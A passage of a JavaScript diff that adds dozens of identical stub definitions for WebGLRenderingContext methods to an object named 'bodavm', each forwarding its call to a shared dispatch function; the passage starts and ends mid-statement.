function bindRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendColor", { + configurable: true, + enumerable: true, + writable: true, + value: function blendColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendColor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquation", { + configurable: true, + enumerable: true, + writable: true, + value: function blendEquation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquationSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function blendEquationSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquationSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function blendFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFuncSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function blendFuncSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFuncSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferData", { + configurable: true, + enumerable: true, + writable: true, + value: function bufferData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferSubData", { + configurable: true, + enumerable: true, + writable: true, + value: function bufferSubData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferSubData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "checkFramebufferStatus", { + configurable: true, + enumerable: true, + writable: true, + value: function checkFramebufferStatus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "checkFramebufferStatus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compileShader", { + configurable: true, + enumerable: true, + writable: true, + value: function compileShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compileShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function createProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createShader", { + configurable: true, + enumerable: true, + writable: true, + value: function createShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function createTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "cullFace", { + configurable: true, + enumerable: true, + writable: true, + value: function cullFace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "cullFace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteShader", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function depthFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthMask", { + configurable: true, + enumerable: true, + writable: true, + value: function depthMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthRange", { + configurable: true, + enumerable: true, + writable: true, + value: function depthRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "detachShader", { + configurable: true, + enumerable: true, + writable: true, + value: function detachShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "detachShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disable", { + configurable: true, + enumerable: true, + writable: true, + value: function disable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enable", { + configurable: true, + enumerable: true, + writable: true, + value: function enable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "finish", { + configurable: true, + enumerable: true, + writable: true, + value: function finish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "finish", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferTexture2D", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferTexture2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferTexture2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "frontFace", { + configurable: true, + enumerable: true, + writable: true, + value: function frontFace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "frontFace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "generateMipmap", { + configurable: true, + enumerable: true, + writable: true, + value: function generateMipmap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "generateMipmap", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveAttrib", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveAttrib() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveAttrib", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttachedShaders", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttachedShaders() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttachedShaders", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttribLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttribLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttribLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getBufferParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getBufferParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getBufferParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getContextAttributes", { + configurable: true, + enumerable: true, + writable: true, + value: function getContextAttributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getContextAttributes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getError", { + configurable: true, + enumerable: true, + writable: true, + value: function getError() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getError", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getExtension", { + configurable: true, + enumerable: true, + writable: true, + value: function getExtension() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getExtension", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getFramebufferAttachmentParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getFramebufferAttachmentParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getFramebufferAttachmentParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramInfoLog", { + configurable: true, + enumerable: true, + writable: true, + value: function getProgramInfoLog() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramInfoLog", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getProgramParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getRenderbufferParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getRenderbufferParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getRenderbufferParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderInfoLog", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderInfoLog() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderInfoLog", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderPrecisionFormat", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderPrecisionFormat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderPrecisionFormat", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderSource", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getSupportedExtensions", { + configurable: true, + enumerable: true, + writable: true, + value: function getSupportedExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getSupportedExtensions", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getTexParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getTexParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getTexParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniformLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniformLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniformLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttrib", { + configurable: true, + enumerable: true, + writable: true, + value: function getVertexAttrib() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttrib", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttribOffset", { + configurable: true, + enumerable: true, + writable: true, + value: function getVertexAttribOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttribOffset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "hint", { + configurable: true, + enumerable: true, + writable: true, + value: function hint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "hint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isContextLost", { + configurable: true, + enumerable: true, + writable: true, + value: function isContextLost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isContextLost", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isEnabled", { + configurable: true, + enumerable: true, + writable: true, + value: function isEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isEnabled", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function isProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isShader", { + configurable: true, + enumerable: true, + writable: true, + value: function isShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function isTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "lineWidth", { + configurable: true, + enumerable: true, + writable: true, + value: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "lineWidth", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "linkProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function linkProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "linkProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "pixelStorei", { + configurable: true, + enumerable: true, + writable: true, + value: function pixelStorei() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "pixelStorei", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "polygonOffset", { + configurable: true, + enumerable: true, + writable: true, + value: function polygonOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "polygonOffset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "readPixels", { + configurable: true, + enumerable: true, + writable: true, + value: function readPixels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "readPixels", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "renderbufferStorage", { + configurable: true, + enumerable: true, + writable: true, + value: function renderbufferStorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "renderbufferStorage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "sampleCoverage", { + configurable: true, + enumerable: true, + writable: true, + value: function sampleCoverage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "sampleCoverage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "shaderSource", { + configurable: true, + enumerable: true, + writable: true, + value: function shaderSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "shaderSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFuncSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilFuncSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFuncSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMask", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMaskSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilMaskSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMaskSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOp", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilOp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOpSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilOpSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOpSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameterf", { + configurable: true, + enumerable: true, + writable: true, + value: function texParameterf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameterf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameteri", { + configurable: true, + enumerable: true, + writable: true, + value: function texParameteri() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameteri", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "useProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function useProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "useProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "validateProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function validateProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "validateProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function bindTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", 